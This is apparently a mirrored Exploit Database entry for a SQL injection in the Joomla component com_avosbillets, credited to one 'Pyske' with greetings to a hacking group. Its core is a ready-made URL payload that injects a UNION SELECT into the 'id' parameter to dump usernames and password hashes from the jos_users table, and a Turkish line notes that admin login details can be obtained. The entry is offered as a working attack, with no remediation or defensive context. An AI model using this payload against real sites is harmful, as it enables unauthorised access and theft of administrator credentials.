Joomla! Component com_avosbillets – Blind SQL Injection

• Exploit Database
• 39 阅读

• 作者： Pyske
  日期： 2010-01-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/10905/

• <------------------- header data start ------------------- >
  #############################################################
  #Joomla Component com_avosbillets Blind SQL Injection Vulnerability
  #############################################################
  # Author: Pyske
  # Home: www.cyber-warrior.org<http://www.cyber-warrior.org>
  # Greetz: Fl0riX , M-K-A, F0RTYS3V3N ,BlackApple , KaBaDaY&#305; and All Cyber-Warrior
  # Name: com_avosbillets
  # Bug Type: Blind SQL Injection
  # Infection : Admin login bilgileri alinabilir.
  
  #############################################################
  < ------------------- header data end of ------------------- >
  < -- bug code start -- >
  http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users--
  
  < -- bug code end of -- >